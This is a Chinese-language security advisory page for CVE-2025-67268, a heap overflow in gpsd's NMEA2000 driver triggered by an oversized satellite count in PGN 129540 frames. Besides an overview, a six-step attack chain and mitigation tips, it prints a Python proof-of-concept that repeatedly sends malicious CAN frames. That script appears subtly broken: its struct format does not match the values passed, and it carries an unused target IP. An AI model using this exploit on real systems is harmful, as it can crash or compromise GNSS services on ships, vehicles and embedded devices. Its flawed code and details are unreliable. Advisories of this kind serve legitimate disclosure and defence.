IPBUF安全漏洞报告
English
CVE-2025-67268 CVSS 9.8 严重

CVE-2025-67268 gpsd NMEA2000驱动堆溢出漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-67268
漏洞类型
缓冲区溢出
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
gpsd

相关标签

缓冲区溢出堆溢出gpsdNMEA2000PGN 129540远程代码执行拒绝服务CAN总线GNSS嵌入式设备

漏洞概述

gpsd 3.24.1及之前版本中存在严重的堆溢出安全漏洞。该漏洞位于NMEA2000协议驱动模块(drivers/driver_nmea2000.c),具体为hnd_129540函数在处理NMEA2000 PGN 129540(GNSS卫星可见信息)数据包时存在边界验证缺陷。攻击者可构造恶意的卫星数量字段(0-255),而实际skyview数组仅支持184个元素。当卫星数量超过数组边界时,会触发堆缓冲区溢出,导致内存数据被破坏。此漏洞无需认证即可远程利用,可能造成服务拒绝(DDoS)并可能被利用执行任意代码,对使用gpsd进行卫星定位的系统构成严重威胁。

技术细节

漏洞根源在于gpsd的NMEA2000驱动中hnd_129540函数缺乏边界检查。该函数负责解析PGN 129540数据包中的卫星信息,期望从数据包中读取卫星数量并为每个卫星分配skyview数组空间。然而,代码直接使用数据包中的卫星计数值(1字节,可达255)而未与skyview数组容量(184元素)进行比对。当攻击者发送包含超卫星数量的恶意数据包时,函数会持续写入skyview数组后的堆内存区域,覆盖其他数据结构或关键元数据。成功利用可导致:1)堆内存损坏引发程序崩溃(DoS);2)通过精心构造溢出数据覆盖函数指针或关键变量实现代码执行。NMEA2000是船舶和汽车领域常用的CAN总线协议,gpsd常部署于树莓派等嵌入式设备处理GPS数据,使其成为攻击目标。

攻击链分析

STEP 1
步骤1
攻击者识别运行gpsd服务且暴露NMEA2000 CAN接口的目标系统
STEP 2
步骤2
构造包含超量卫星数量(>184)的恶意PGN 129540 CAN数据包
STEP 3
步骤3
通过CAN总线或socketcan接口向目标系统发送恶意数据包
STEP 4
步骤4
gpsd的hnd_129540函数接收数据包,解析卫星计数并写入skyview数组
STEP 5
步骤5
当卫星数量超过184时,写入操作超出skyview数组边界,触发堆溢出
STEP 6
步骤6
堆内存损坏导致gpsd进程崩溃(DoS)或被利用执行任意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67268 PoC - Malicious NMEA2000 PGN 129540 Packet # This PoC demonstrates the heap overflow in gpsd's NMEA2000 driver import socket import struct def create_malicious_pgn129540(satellite_count=255): """ Construct a malicious NMEA2000 PGN 129540 CAN frame PGN 129540: GNSS Satellites in View """ # CAN ID for PGN 129540 (Priority 3, PGN 129540, Source 0x00) can_id = (3 << 26) | (129540 << 8) | 0x00 # Data Length Code (DLC) - max 8 bytes for standard CAN dlc = 8 # Payload construction # Byte 0-1: Number of satellites (0-255, we use >184 to trigger overflow) # Bytes 2-7: Additional satellite data data = struct.pack('<H', satellite_count) # Satellite count data += b'\x00' * 6 # Padding/additional data # Pad to 8 bytes data = data.ljust(8, b'\x00') return can_id, dlc, data def send_malicious_packet(target_ip, can_interface='can0'): """ Send malicious CAN frame to trigger gpsd vulnerability """ try: sock = socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) sock.bind((can_interface,)) can_id, dlc, data = create_malicious_pgn129540(255) # Construct raw CAN frame can_frame = struct.pack('<IBBBBBBBB', can_id, dlc, *data) sock.send(can_frame) print(f"[+] Sent malicious PGN 129540 packet with {255} satellites") print(f"[+] Expected skyview array size: 184") print(f"[+] This will cause heap overflow in gpsd") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == '__main__': # Target configuration TARGET_IP = '192.168.1.100' # gpsd server IP print("CVE-2025-67268 PoC - gpsd heap overflow in driver_nmea2000.c") print("=" * 60) # Send multiple packets to increase exploit reliability for i in range(5): send_malicious_packet(TARGET_IP)

影响范围

gpsd < dc966aa74c075d0a6535811d98628625cbfbe3f4
gpsd 3.24.1及之前所有版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1)禁用NMEA2000驱动模块,在gpsd配置中移除driver_nmea2000.c相关编译选项;2)通过防火墙规则限制对CAN接口的访问,只允许授权设备通信;3)监控gpsd进程内存使用情况,发现异常立即重启服务;4)考虑使用网络隔离将GPS相关系统与其他网络分区隔离开来。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表